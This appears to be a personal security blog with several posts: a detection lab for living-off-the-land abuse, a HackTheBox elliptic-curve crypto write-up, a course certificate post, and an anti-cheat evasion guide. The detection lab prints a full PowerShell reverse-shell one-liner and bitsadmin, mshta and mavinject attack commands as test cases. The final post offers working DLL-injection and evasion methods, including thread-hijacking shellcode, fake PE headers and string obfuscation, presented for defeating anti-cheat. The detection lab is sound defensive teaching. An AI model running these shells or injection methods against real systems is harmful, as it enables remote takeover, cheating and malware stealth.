LotL attacks utilize legitimate, built-in system tools to perform malicious actions, allowing adversaries to evade many conventional security mechanisms like antivirus software and endpoint protection systems. This method enables attackers to carry out actions like data exfiltration, privilege escalation, or persistence without the need to introduce foreign binaries that would raise suspicion.

LotL and Blue Teaming

Detection of LotL techniques is a vital part of blue teaming because it focuses on identifying and responding to adversarial behaviors that leverage standard system functionalities. Tools like powershell.exe, wmic.exe, cmd.exe, and rundll32.exe are examples of Windows utilities that are often used in LotL attacks. When defenders understand how these tools are exploited, they can better detect and mitigate these activities before they lead to a full-blown compromise.

In SEC530, we learned that building strong defenses requires not only identifying and blocking malware but also recognizing when built-in system utilities are being misused. Since these tools are often critical for legitimate administrative activities, monitoring for abnormal use is crucial for a well-rounded blue team defense.

The Principle of Least Privilege

The principle of least privilege is a foundational security practice that aims to minimize access rights for users to only what is necessary for their role. For example, an employee working in a non-IT capacity should not have access to PowerShell, cmd.exe, or any other administrative tools that are not relevant to their tasks. Restricting access to these tools significantly reduces the attack surface and limits the ability of an attacker to perform LotL attacks if they gain access to the system.

When LotL tools are detected, it might indicate an abnormality compared to the system’s baseline behavior. Even if these tools are legitimate, their unexpected use should prompt investigation to determine if malicious activity is occurring.

Why LotL Attacks Are Dangerous

Well-prepared threat actors understand that effective defenses can make it difficult to introduce their own tools. When this happens, they may turn to LotL techniques to establish persistence, escalate privileges, pivot across systems, or exfiltrate sensitive data. Detecting and responding to these tactics quickly is critical for minimizing potential damage.

LotL Detection Script Demonstration

This section introduces a PowerShell script that can help detect common LotL tools based on process creation auditing in Windows. The script logs detections, sends alerts via email, and can block suspicious processes depending on the severity level of the detected tool. The core of this script is based on Security Event ID 4688, which watches for the creation of new processes and compares them against a watchlist of known LotL executables.

How the Script Works

  1. Enables Process Creation Auditing: The script configures Windows to audit new process creation. This provides visibility into what executables are being run on the system.
  2. Enables Command Line Auditing: The script modifies the registry to include command-line details for each new process created, allowing for deeper analysis of process behavior.
  3. Monitors for LotL Executables: The script contains a predefined list of common LotL tools categorized by severity (High/Medium). When any of these tools are executed, it logs the event, sends a syslog message, and can email an alert.
  4. Responds Based on Severity: The script can terminate processes categorized as high severity while logging and alerting all other LotL detections.
  5. Email Alerts to Administrators: When suspicious activity is detected, an email is sent to a pre-defined address, ensuring rapid awareness and enabling an immediate response.
  6. Syslog Integration with ELK Stack: The script pushes event data to a centralized logging system like the ELK stack, which allows for enhanced visualization and triaging of potential threats. By leveraging Kibana dashboards, security teams can quickly filter, search, and analyze the logs to identify patterns and suspicious activities.

Clone my repository using the command below. With this, you will be able to see the main script (AdvancedLotLMonitor.ps1) plus the test environment.

Command (Powershell Window#1)

git clone https://github.com/mlesterdampios/lotl-detection.git
cd lotl-detection
tree /f

Output (Powershell Window#1)

PS C:\...> git clone https://github.com/mlesterdampios/lotl-detection.git
Cloning into 'lotl-detection'...
remote: Enumerating objects: 17, done.
remote: Counting objects: 100% (17/17), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 17 (delta 0), reused 17 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (17/17), 6.37 KiB | 724.00 KiB/s, done.
PS C:\...> cd lotl-detection
PS C:\...\lotl-detection> tree /f
Folder PATH listing for volume WORKSTATION
Volume serial number is 6A28-CD5C
C:.
│   AdvancedLotLMonitor.ps1
│   BuildAndRunLotLEnvironment.ps1
│   CleanupLotLEnvironment.ps1
│
├───c2-server
│       Dockerfile
│
├───elk
│   │   docker-compose.yml
│   │
│   └───logstash
│       └───config
│               logstash.conf
│               logstash.yml
│               pipelines.yml
│
└───malicious-server
        Dockerfile
        fake-malware.txt

Expanding on the LotL Detection Script and the Test Environment

In addition to the PowerShell script for detecting LotL activities, you have a supporting script, BuildAndRunLotLEnvironment.ps1, which sets up a controlled environment for testing these techniques. This testing environment includes a simulated malicious server, a command-and-control (C2) server, and an ELK (Elasticsearch, Logstash, Kibana) stack for centralized logging and visualization.

BuildAndRunLotLEnvironment.ps1 Overview

The BuildAndRunLotLEnvironment.ps1 script is designed to quickly spin up a testing environment that emulates a realistic scenario where LotL activities might be used. Here’s how it works:

  1. Build Malicious Server and C2 Server Docker Images: The script navigates to the respective directories for the malicious server and C2 server, then builds Docker images for both using the docker build command.
  2. Launch the ELK Stack: The script uses docker-compose to start an ELK stack, which provides a centralized logging and visualization platform to monitor the system’s security events.
  3. Run the Malicious Server and C2 Server Containers: After building the Docker images, the script runs the containers, mapping them to appropriate ports (8080 for the malicious server and 4444 for the C2 server).
  4. Wait for ELK Initialization: Since the ELK stack can take some time to initialize, the script includes a wait period to ensure all components are fully operational before proceeding.
  5. Check Status of Running Containers: The script checks the status of all Docker containers to confirm they are up and running as expected.

Command (Powershell Window#1)

PS: C:\...\lotl-detection> .\BuildAndRunLotLEnvironment.ps1

Output (Powershell Window#1)

Running malicious server container...
...
Running c2 server container...
...
Waiting for ELK stack to initialize... (this may take a few minutes)
Displaying status of running containers:
...
All services are up and running.
Kibana is accessible at http://localhost:5601
The simulated malicious server is accessible at http://localhost:8080

Accessing the Environment

Test Case#1: Establishing Reverse Shell using Powershell (without detection script)

Command (Powershell Window#2)

PS: C:\...\lotl-detection> docker ps

Output (Powershell Window#2)

...
CONTAINER ID   IMAGE                                                 COMMAND                  CREATED              STATUS              PORTS                                                    NAMES
02728eaddd05   c2-server-sim                                         "tail -f /dev/null"      About a minute ago   Up About a minute   0.0.0.0:4444->4444/tcp                                   c2-server
...

Copy the Container ID of c2-server-sim (Note: Output maybe different)

Command (Powershell Window#2)

PS: C:\...\lotl-detection> docker exec -it <Container_ID> /bin/sh

Output (Powershell Window#2)

PS C:\...\lotl-detection> docker exec -it <Container_ID> /bin/sh
/ #

Command (Powershell Window#2)

/ # nc -nlvp 4444

Let Powershell Window#2 running.

Open a new Powershell window.

Command (CMD Window#3)

C:\...\lotl-detection> powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

Go back to Powershell Window#2. You should now see remote shell established. You can try sending command like whoami then exit.

Output (Powershell Window#2)

/ # nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 172.17.0.1 47878
SHELL> whoami
desktop-XXX\XXX
SHELL> exit
/ #

We can confirm that reverse shell is now successfully established.

Test Case#2: Establishing Reverse Shell using Powershell (with detection script)

Command (Powershell Window#1)

PS: C:\...\lotl-detection> .\AdvancedLotLMonitor.ps1

Output (Powershell Window#1)

2024-09-30 12:02:33.694 - Enabling process creation auditing...
2024-09-30 12:02:33.710 - Process creation auditing enabled. If this is your first time running this script, please restart to apply the Process Creation policy modification.
2024-09-30 12:02:33.712 - Enabling command line auditing...
2024-09-30 12:02:33.720 - Command line auditing enabled.
2024-09-30 12:02:33.734 - Starting LotL Detection script. Initial Record ID: 137700, Initial Event Time: 09/30/2024 12:02:32

Let Powershell Window#1 running.

Repeat steps in Test Case#1.

After repeating Test Case#1, we expect that the shell will die, and alert will be generated and send both to email and syslog.

Output (Powershell Window#1)

2024-09-30 12:06:06.042 - Detected LotL execution: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe by ... (PID: 0xb3c, Parent: C:\Windows\System32\cmd.exe). Severity: High. CommandLine: powershell  -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
2024-09-30 12:06:06.046 - Syslog message sent.
2024-09-30 12:06:09.314 - Email alert sent.
2024-09-30 12:06:09.321 - Process 0xb3c (C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe) has been terminated due to high severity.

Output (Powershell Window#2)

/ # nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 172.17.0.1 51094
SHELL> / #

The script terminated the powershell process as it is considered a high severity.

Test Case#3: Using bitsadmin.exe to file transfer

Command (CMD Window#3)

C:\...\lotl-detection> bitsadmin.exe /transfer myDownloadJob /download /priority normal http://localhost:8080/fake-malware.txt C:\Users\Public\fake-malware.txt & timeout /t 150 > nul

Output (CMD Window#3)

DISPLAY: 'myDownloadJob' TYPE: DOWNLOAD STATE: TRANSFERRED
PRIORITY: NORMAL FILES: 1 / 1 BYTES: 36 / 36 (100%)
Transfer complete.

C:\...\lotl-detection>

The process is not terminated nor blocked. However, it is logged as medium severity.

Test Case#4: Execution via mshta.exe

Command (CMD Window#3)

C:\...\lotl-detection> mshta.exe "javascript:alert('Test');"

Output (Powershell Window#1)

2024-09-30 12:18:28.183 - Process 0x2330 (C:\Windows\System32\bitsadmin.exe) allowed to continue.
2024-09-30 12:26:29.066 - Detected LotL execution: C:\Windows\System32\mshta.exe by ... (PID: 0x325c, Parent: C:\Windows\System32\cmd.exe). Severity: High. CommandLine: mshta.exe  "javascript:alert('Test');"
2024-09-30 12:26:29.068 - Syslog message sent.
2024-09-30 12:26:32.094 - Email alert sent.
2024-09-30 12:26:32.106 - Process 0x325c (C:\Windows\System32\mshta.exe) has been terminated due to high severity.

The script terminated the process as it is considered a high severity.

Test Case#5: Process Injection via mavinject.exe

Command (CMD Window#3)

Get the PID of the process you want to inject to.

C:\...\lotl-detection> mavinject.exe <PID> /INJECTRUNNING C:\Windows\System32\notepad.exe

Output (Powershell Window#1)

2024-09-30 12:31:32.413 - Detected LotL execution: C:\Windows\System32\mavinject.exe by ... (PID: 0x1d94, Parent: C:\Windows\System32\cmd.exe). Severity: High. CommandLine: mavinject.exe  16292 /INJECTRUNNING C:\Windows\System32\notepad.exe
2024-09-30 12:31:32.416 - Syslog message sent.
2024-09-30 12:31:35.732 - Email alert sent.
2024-09-30 12:31:35.738 - Process 0x1d94 (C:\Windows\System32\mavinject.exe) is already terminated.

The script terminated the process as it is considered a high severity.

The Power of ELK Stack for Event Triage and Threat Detection

An ELK stack (Elasticsearch, Logstash, Kibana) is a powerful and scalable logging solution that provides unparalleled visibility into system events and potential threats. Here are some key reasons why it is beneficial for triaging security events and responding to potential threats:

Centralized Logging and Data Aggregation

One of the core strengths of the ELK stack is its ability to centralize and aggregate logs from multiple sources, such as system events, application logs, network traffic, and security events. This centralization enables analysts to view a holistic picture of the environment in one place, providing context and reducing the need to jump between disparate systems when investigating incidents.

Advanced Search and Filtering

With Elasticsearch as the core engine, ELK allows for extremely fast and flexible querying of logs. You can quickly search for specific keywords, filter based on time ranges, or create complex queries that correlate data across multiple fields. For example, if you suspect an attack leveraging Living off the Land (LotL) techniques, you can instantly search for the execution of known LotL binaries across all logs and pinpoint their origin.

Real-Time Data Visualization and Dashboards

Kibana, the visualization component of ELK, enables you to create custom dashboards to represent data in real-time. This provides:

  • Real-Time Alerts and Metrics: Easily track spikes in abnormal activities, such as unexpected process executions, privilege escalations, or anomalous network connections.
  • Clear Visualizations: Graphs, charts, and heatmaps help highlight patterns and trends that could indicate a potential security incident.
  • Dashboards for Multiple Scenarios: Dashboards can be tailored to specific types of data (e.g., system logs, authentication events, network traffic), allowing security teams to triage efficiently.

Correlating Events for Incident Response

A significant advantage of the ELK stack is its ability to correlate different types of events across multiple data sources. For example, if your LotL detection script sends syslogs to ELK, you can quickly correlate these alerts with other security logs like firewall logs, intrusion detection system alerts, or endpoint activity. This allows analysts to understand the full scope of an incident and quickly identify how a potential attacker may have gained access, moved laterally, or exfiltrated data.

Efficient Triage and Threat Investigation

When an alert is generated, the ELK stack allows for quick triage by:

  • Providing Contextual Information: The ability to drill down into specific events, view their associated metadata, and understand their origin in context.
  • Historical Data for Pattern Recognition: By having historical log data readily accessible, it is easier to identify patterns of repeated behavior that may indicate persistent threats or a slow-moving attack campaign.
  • Automated Workflows and Integrations: Integrations with other security tools, such as security information and event management (SIEM) systems, ticketing systems, or threat intelligence platforms, can streamline the process of responding to an incident.

Customizable Alerting Mechanisms

Kibana can be configured to send alerts based on pre-defined thresholds or specific conditions (e.g., detecting a specific LotL tool execution). When the detection script pushes an alert to the ELK stack, it can trigger automated workflows, send notifications to administrators, or even initiate predefined response actions such as blocking an IP address or disabling a compromised account.

By leveraging the visualization, correlation, and alerting features of the ELK stack, security teams can rapidly triage events, identify suspicious behavior, and take timely action to mitigate potential threats. This makes ELK an invaluable tool for detecting, analyzing, and responding to complex and evolving security incidents.

Since we generated some alerts earlier, you can view the syslogs ingested by the ELK using your browser with the following URL:

http://localhost:5601/app/discover

If you haven’t created a Data View yet, you can create one with the following Index Pattern: syslog-*

The custom syslog wasn’t perfect and it is just used for educational purposes only. The metadata needs to be cleaned in order for the ELK provide meaningful context.

Feel free to explore the ELK.

Cleanup

Stop the script running on Powershell Window#1. Then run .\CleanupLotLEnvironment.ps1

Output (Powershell Window#1)

PS C:\...\lotl-detection> .\CleanupLotLEnvironment.ps1
Stopping and forcefully removing containers...
Stopping the malicious server container...
malicious-server
malicious-server
Stopping the c2 server container...
c2-server
c2-server
Stopping the ELK container...
[+] Running 5/5
 ✔ Container logstash       Removed                                                                                2.6s
 ✔ Container kibana         Removed                                                                                0.9s
 ✔ Container elasticsearch  Removed                                                                                2.8s
 ✔ Volume elk_esdata        Removed                                                                                0.1s
 ✔ Network elk_default      Removed                                                                                0.2s
Containers stopped and removed.
Removing malicious server image...
Untagged: malicious-url-sim:latest
Deleted: sha256:...
Untagged: c2-server-sim:latest
Deleted: sha256:...
Malicious server image removed.
Removing associated Docker volumes...
Associated volumes removed.
Retaining other images as per requirements.
Cleanup complete. All targeted containers, images (excluding other big images), and volumes have been forcefully removed.
PS C:\...\lotl-detection>

Conclusion

Living off the Land (LotL) techniques represent a sophisticated approach used by attackers to blend into normal system activity and evade detection. As highlighted in SEC530, detecting these techniques is critical for any blue team aiming to defend the perimeter effectively. By understanding how threat actors exploit legitimate tools to carry out malicious activities, security teams can better monitor, alert, and respond to these subtle threats.

Implementing tools like the PowerShell detection script showcased above, combined with a powerful logging and analysis platform like the ELK stack, provides a strong foundation for recognizing and investigating anomalies that deviate from the baseline. This proactive monitoring is key to minimizing the potential damage from LotL attacks, improving the organization’s security posture, and ultimately strengthening the blue team’s ability to defend against evolving threats.

Security is an ongoing process, and as threat actors adapt, so too must defenders—continuously learning, adjusting defenses, and employing strategies that minimize risks while effectively responding to any indicators of compromise.

Areas for Improvement: Mitigating False Positives

While the PowerShell detection script provides a foundational approach to identifying Living off the Land (LotL) activities, it is not without limitations. One of the primary challenges of LotL detection is the high potential for false positives. Many of the tools flagged by the script, such as powershell.exe, cmd.exe, or schtasks.exe, are often used legitimately for administrative tasks, software installations, and system maintenance.

To enhance the script’s accuracy and reduce false positives, several improvements are necessary:

  1. Baseline Normal System Behavior: The script should incorporate a learning phase to understand normal process behavior within the environment. By building a baseline, it can better distinguish between legitimate uses of LotL tools and anomalous activity.
  2. Contextual Analysis: The script can be enhanced to consider the context in which a process is executed. This includes checking the command-line arguments, the parent process, the time of execution, and the user running the process. For example, running powershell.exe with a suspicious script or command should be flagged, while running it with a known administrative script might be considered safe.
  3. Whitelisting and User Role Verification: Incorporating a dynamic whitelist of known processes, users, and roles can help reduce false positives. If the script detects a LotL tool being used by a user in a non-IT role, it could trigger a higher severity alert compared to an administrator running a known maintenance task.
  4. Severity Levels and Automated Responses: Refining how severity levels are assigned to various LotL tools based on context would allow for a more nuanced response. For instance, blocking certain processes might be too aggressive and could disrupt normal operations. Instead, alerting and requiring manual investigation for certain cases can help verify if the activity is truly malicious.
  5. Periodic Review and Update of LotL Watchlist: Regularly updating the list of monitored LotL tools and refining detection rules based on threat intelligence is essential to adapt to evolving attacker techniques.

By implementing these improvements, the script can become more effective in detecting true LotL attacks while minimizing the noise of false positives, allowing security teams to focus their efforts on genuine threats. This process of continuous tuning is vital in maintaining an effective security posture.

Acknowledgments

A big thank you to SANS Institute, the authors of SEC530, headed by Ismael Valenzuela, and all the instructors for delivering such an insightful and practical course. The skills and knowledge shared throughout the training have greatly enhanced my understanding of blue teaming and modern defense techniques. The course’s hands-on approach and real-world examples have been invaluable, and I’m grateful for the opportunity to apply these lessons to enhance security practices. Thank you for your dedication and expertise in making the course a remarkable learning experience.

Generalized Weierstrass Elliptic

sh3nLeave a comment

First of all, this is a challenge from HTB: LostKey under Crypto category and weighed as “Medium”. But man, this is a total brain rot to me.
Second, since I don’t know what the f am I doing, I just ended up reading walkthrough, even just reading, I can’t still comprehend what’s happening.
Lastly, the solution below is a complete copypasta from here. FULL CREDITS TO THEM.

The challenge

The challenge contains 2 files

#!/usr/bin/env python3
from Crypto.Util.number import *
from hashlib import sha1
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from secret import flag, n

class coord:
    def __init__(self, x, y):
        self.x = x
        self.y = y
    def __str__(self):
        return f"coord({self.x}, {self.y})"

class EC:
    def __init__(self, p):
        self.p = p
        self.zero = coord(0,0)

    def add(self, P,Q):
        if P == self.zero:
            return Q
        if Q == self.zero:
            return P
        if P.x == Q.x and P.y == -Q.y:
            return self.zero
        if P != Q:
            Lambda = (Q.y - P.y) * inverse(Q.x - P.x, self.p)
        else:
            Lambda = (3*(P.x*Q.x) + 417826948860567519876089769167830531934*P.x + 177776968102066079765540960971192211603) * inverse(P.y+Q.y+3045783791, self.p)
        Lambda %= self.p
        R = coord(0,0)
        R.x = (Lambda**2-P.x-Q.x-208913474430283759938044884583915265967) % self.p
        R.y = (Lambda*(P.x-R.x) - P.y - 3045783791) % self.p
        return R

    def mul(self, P, n):
        Q = P
        R = self.zero
        while n > 0:
            if n % 2 == 1:
                R = self.add(R,Q)
            n >>= 1
            Q = self.add(Q,Q)
        return R

def encrypt(key):
    iv = __import__('os').urandom(16)
    key = sha1(str(key).encode('ascii')).digest()[0:16]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ct = cipher.encrypt(pad(flag,16))
    return(ct.hex(),iv.hex())

assert(n < 38685626227668133590597631)
e = EC(101177610013690114367644862496650410682060315507552683976670417670408764432851)
G = coord(14374457579818477622328740718059855487576640954098578940171165283141210916477, 97329024367170116249091206808639646539802948165666798870051500045258465236698)

print ("G =",G)
print ("Gn =", e.mul(G,n).x)
enc = encrypt(n)
print ("Ciphertext: {}\nIV: {}".format(enc[0],enc[1]))

encrypt.py The class in EC defines an elliptic curve. The encryption process is to use a point on the curve G to n * G calculate Gn and use it as the AES key to encrypt the plaintext, so the value n required to decrypt the ciphertext is obtained .n

output.txt The text file gives the values ​​of G, Gn (x coordinates), Ciphertext and IV

G = coord(14374457579818477622328740718059855487576640954098578940171165283141210916477, 97329024367170116249091206808639646539802948165666798870051500045258465236698)
Gn = 32293793010624418281951109498609822259728115103695057808533313831446479788050
Ciphertext: df572f57ac514eeee9075bc0ff4d946a80cb16a6e8cd3e1bb686fabe543698dd8f62184060aecff758b29d92ed0e5a315579b47f6963260d5d52b7ba00ac47fd
IV: baf9137b5bb8fa896ca84ce1a98b34e5

The Solution

Firstly, according to the general form of the elliptic curve and the calculation formula of point addition, the parameters of the curve are obtained.

The SageMath code is as follows

p = 101177610013690114367644862496650410682060315507552683976670417670408764432851
a1 = 0
a2 = 417826948860567519876089769167830531934 // 2
a3 = 3045783791
a4 = 177776968102066079765540960971192211603
Gx = 14374457579818477622328740718059855487576640954098578940171165283141210916477
Gy = 97329024367170116249091206808639646539802948165666798870051500045258465236698
a6 = Gy^2 + a1 * Gx * Gy + a3 * Gy - (Gx^3 + a2 * Gx^2 + a4 * Gx)
a6 = a6 % p
EC = EllipticCurve(Zmod(p), [a1, a2, a3, a4, a6])
G = EC(Gx, Gy)
print("G =", G)

We can then Gn get the y coordinate given the x coordinate Gn.

Gnx = 32293793010624418281951109498609822259728115103695057808533313831446479788050
Gn = EC.lift_x(Gnx)
print("Gn =", Gn.xy())

We can also see that the order of the curve is not a prime number, so we can use the Pohlig–Hellman algorithm to calculate Gn the G discrete logarithm of the sum, that is, n

ecOrder = EC.order()
print("EC order =", ecOrder)
F = factor(ecOrder)
print("F =", F)

The prime factorization of the curve order gives 7 prime factors. Only the first 5 values ​​are small enough to directly calculate the discrete logarithm. Then you need to use n the upper limit given in the question to enumerate the possible values ​​one by one to find it n.

#we only need the first 5 factor
primes = [9, 59, 14771, 27733, 620059697]
dlogs = []
product = 1
for fac in primes:
   t = ecOrder // fac
   dlog = discrete_log(t*Gn, t*G, operation="+")
   dlogs.append(dlog)
   print("factor: ", fac, ", Discrete Log: ", dlog)
   product = product * fac
L = crt(dlogs, primes)
print("L =", L)
print("check L =", L * G == Gn)
print("product =", product)
n = L
while (n <= 38685626227668133590597631):
   if (n * G == Gn):
      print("Found n =", n)
      break
   else:
      n = n + product
print("n =", n)

After obtaining it n, apply the AES decryption method to get the plain text of the Flag.

from Crypto.Cipher import AES
from hashlib import sha1

iv = bytes.fromhex("baf9137b5bb8fa896ca84ce1a98b34e5")
cipherText = bytes.fromhex("df572f57ac514eeee9075bc0ff4d946a80cb16a6e8cd3e1bb686fabe543698dd8f62184060aecff758b29d92ed0e5a315579b47f6963260d5d52b7ba00ac47fd")

key = sha1(str('PUT_n_HERE').encode('ascii')).digest()[0:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
plainText = cipher.decrypt(cipherText)
print ("plainText=", plainText)

Just got Graduated from Project SPARTA!

sh3nLeave a comment

Smarter Philippines through Data Analytics R&D, Training and Adoption

Project Smarter Philippines through Data Analytics, R&D, Training, and Adoption (SPARTA) is dedicated to putting in place the necessary online education, research and development mechanisms, and infrastructure to enable the industry of Data Science and Analytics, and foster smart governance practices.

I am thrilled to share that I finished the Data Scientist pathway of project SPARTA. It has been a long journey since I enrolled on 2020. I was not able to finish it on the first batch and was only able to complete it along with current batch.

I would like to say thanks to Development Academy of the Philippines, Department of Science and Technology, Department of Science and Technology-Philippine Council for Industry, Energy and Emerging Technology Research and Development, and all the Partners and Sponsors to make this project possible.

SPARTA offers 12 micro-specialization and 6 main pathways. Each micro-specialization and pathways consists of multiple required courses that you must pass. Below are the list of microspecs and pathway that I successfully passed.

Data Scientist
Getting Grounded on Analytics
Essential Excel Skills for Data Preparation and Analysis
Computing in Python
SQL for Business Users
Data Management Fundamentals
Dashboards and Drill-Down Analytics
Data Visualization Fundamentals
Data Visualization Using Tableau and Python
Storytelling Using Data
Data-Driven Research Fundamentals
Experimental Design and Analysis
Statistical Analysis and Modeling Using Excel
Statistical Analysis and Modeling Using SQL and Python
Data Science and Machine Learning Using Python
Data Scientist Capstone Course
Python for Data Engineering
Analytics Applications in Operations
Analytics Applications in Finance and Risk
Data-Driven Policy Analysis
Applied Analytics in Public Human Resource Management
Applied Analytics in Public Finance and Budgeting
Data Engineering in e-Governance Systems
Urban Planning in the Fourth Industrial Revolution
Livable and Sustainable Cities in e-Governance

Domain Knowledge: Finance and Risk
Domain Knowledge: Urban Planning
Operational Analytics
Public Policy and Governance
Research Methods
Statistical Techniques
Computing
Data Visualization
Methods and Algorithms

Here is a full course map that I took.
http://mark.rxmsolutions.com/wp-content/uploads/2023/12/Untitled-Diagram2-1-scaled.jpg

With these newly found knowledges, I would surely use these for the betterment and improvement not only for myself but also the industry that I worked for. Thank you so much SPARTA!

P.S. For uncensored and verifiable certificates, kindly email me at [email protected].

Basic Anti-Cheat Evasion

sh3nLeave a comment

So it’s been a while since I posted a blog. I was so busy with other things, especially adjusting the schedule with my work and my studies.

This short article I’ll discuss some very basic techniques on evading anti-cheat. Of course, you would still need to adjust the evasion mechanism depending on the anti-cheat you are trying to defeat.

On this blog, we will focus on Internal anti-cheat evasion techniques.

Part 1: The injector

First part of making your “cheat” is creating an executable that would inject your .dll into the process, A.K.A the game.

There are lot of injection mechanisms (copied from cynet). Below is the list but not limited to:

Classic DLL injection 

Classic DLL injection is one of the most popular techniques in use. First, the malicious process injects the path to the malicious DLL in the legitimate process’ address space. The Injector process then invokes the DLL via a remote thread execution. It is a fairly easy method, but with some downsides: 

Reflective DLL injection

Reflective DLL injection, unlike the previous method mentioned above, refers to loading a DLL from memory rather than from disk. Windows does not have a LoadLibrary function that supports this. To achieve the functionality, adversaries must write their own function, omitting some of the things Windows normally does, such as registering the DLL as a loaded module in the process, potentially bypassing DLL load monitoring. 

Thread execution hijacking

Thread Hijacking is an operation in which a malicious shellcode is injected into a legitimate thread. Like Process Hollowing, the thread must be suspended before injection.

PE Injection / Manual Mapping

Like Reflective DLL injection, PE injection does not require the executable to be on the disk. This is the most often used technique seen in the wild. PE injection works by copying its malicious code into an existing open process and causing it to execute. To understand how PE injection works, we must first understand shellcode. 

Shellcode is a sequence of machine code, or executable instructions, that is injected into a computer’s memory with the intent of taking control of a running program.  Most shellcodes are written in assembly language. 

Manual Mapping + Thread execution hijacking = Best Combo

Above all of this, I think the very stealthy technique is the manual mapping with thread hijacking.
This is because when you manual map a DLL into a memory, you wouldn’t need to call DLL related WinAPI as you are emulating the whole process itself. Windows isn’t aware that a DLL has been loaded, therefore it wouldn’t link the DLL to the PEB, and it would not create structs nor thread local storage.
Aside from these, since you would be having thread hijacking to execute the DLL, then you are not creating a new thread, therefore you are safe from anti-cheat that checks for suspicious threads that are spawned. After the DLL sets up all initialization and hooks, it would return the control of the hijacked thread its original state, therefore, like nothing happened.

POC

https://github.com/mlesterdampios/manual_map_dll-imgui-d3d11/blob/main/injector/injection.cpp

This repository demonstrate a very simple injector. The following are the steps to achieve the DLL injection:

  • Elevate injector’s process to allow to get handle with PROCESS_ALL_ACCESS permission
  • VirtualAllocEx the dll image to the memory
  • Resolve Imports
  • Resolve Relocations
  • Initialize Cookie
  • VirtualAllocEx the shellcode
  • Fix the shellcode accordingly
  • Stop the thread and adjust it’s RIP pointing to the EntryPoint
  • Resume the thread

The shellcode

byte thread_hijack_shell[] = {
	0x51, // push rcx
	0x50, // push rax
	0x52, // push rdx
	0x48, 0x83, 0xEC, 0x20, // sub rsp, 0x20
	0x48, 0xB9, // movabs rcx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0xBA, // movabs rdx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0xB8, // movabs rax, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xFF, 0xD0, // call rax
	0x48, 0xBA, // movabs rdx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x89, 0x54, 0x24, 0x18, // mov qword ptr [rsp + 0x18], rdx
	0x48, 0x83, 0xC4, 0x20, // add rsp, 0x20
	0x5A, // pop rdx
	0x58, // pop rax
	0x59, // pop rcx
	0xFF, 0x64, 0x24, 0xE0 // jmp qword ptr [rsp - 0x20]
};

The line 7 is where you put the image base address, the line 9 is for dwReason, the line 11 is for DLL’s entrypoint and the line 14 is for the original thread RIP that it would jump back after finishing the DLL’s execution.

This injection mechanism is prone to lot of crashes. Approximately around 1 out of 5 injection succeeds. You need to load the game until on the lobby screen, then open the injector, if it crashes, just reboot the game and repeat the process until successful injection.

Part 2: The DLL

Of course, in the dll itself, you still need to do some cleanups. The injection part is done but the “main event of the evening” is just getting started.

POC

https://github.com/mlesterdampios/manual_map_dll-imgui-d3d11/blob/main/example_dll/dllmain.cpp

In the DLL main, we can see cleanups.

UnlinkModuleFromPEB

This one is unlinking the DLL from PEB. But since we are doing Manual Map, it wouldn’t have an effect at all, because windows didn’t even know that a DLL is loaded at all. This is useful tho, if we injected the DLL using classic injection method.

FakePeHeader

This one is replacing the PE header of DLL with a fakeone. Most memory scanner, tries to find suspicious memory location by checking if a PE exists. An MS-DOS header begins with the magic code 0x5A4D, so if an opcodes begin with that magic bytes, chances are, a PE is occupying that space. After that, the memory scanner might read that header for more information on what is really loaded with that memory location.

No Thread Creation

THIS IS IMPORTANT! Since we are hooking the IDXGISwapChain::Present, then we don’t see any reason to keep another thread running, so after our DLL finishes the setup, we then return the control of the thread to its original state. We can use the PresentHook to continue our “dirty business” inside the programs memory. Besides, as mentioned earlier, having threads can lead to anti-cheat flagging.

Obfuscation thru Polymorphism and Instantiation

This technique is already discussed on another blog: Obfuscation thru Polymorphism and Instantiation. 

CALLBACKS_INSTANCE = new CALLBACKS();
MAINMENU_INSTANCE = new MAINMENU();

XORSTR

Ah, yes, the XORSTR. We can use this to hide the real string and will only be calculated upon usage.
To demonstrate the XORSTR, here is a sample usage. Focus on the line with “##overlay” string.

xorstr

And this is what it looks like after compiling and putting it under decompiler.

IDA Decompile

Other methodologies

There are some few more basic methodologies that wasn’t applied in the project. Below are following but not limited to:

  • Anti-debugging
  • Anti-VM
  • Polymorphism and Code mutation (to avoid heuristic patten scanners)
  • Syscall hooks
  • Hypervisor-assisted hooking
  • Scatter Manual Mapper (https://github.com/btbd/smap)
  • and etc…

